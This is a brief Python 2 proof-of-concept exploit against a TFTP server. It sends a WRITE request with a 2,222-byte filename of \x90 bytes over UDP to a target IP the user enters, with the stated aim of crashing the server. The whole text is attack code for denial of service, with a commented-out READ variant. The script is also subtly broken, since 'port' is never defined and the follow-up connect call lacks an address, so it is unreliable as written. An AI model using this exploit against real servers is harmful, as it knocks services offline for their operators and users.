POC :
======

import socket,sys,time

target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)

## File name >= 222 length leads to crash
exploit = "\x90" * 2222

mode = "binary"
print "File name WRITE/READ crash"

## WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"

## READ command = \x00\x01
## data = "\x00\x01" + exploit + "\0" + mode + "\0"

sock.sendto(data, (target, port))
time.sleep(2)
sock.close()
try:
    sock.connect()
except:
    print "Remote TFTP server port is down..."
    sys.exit(1)
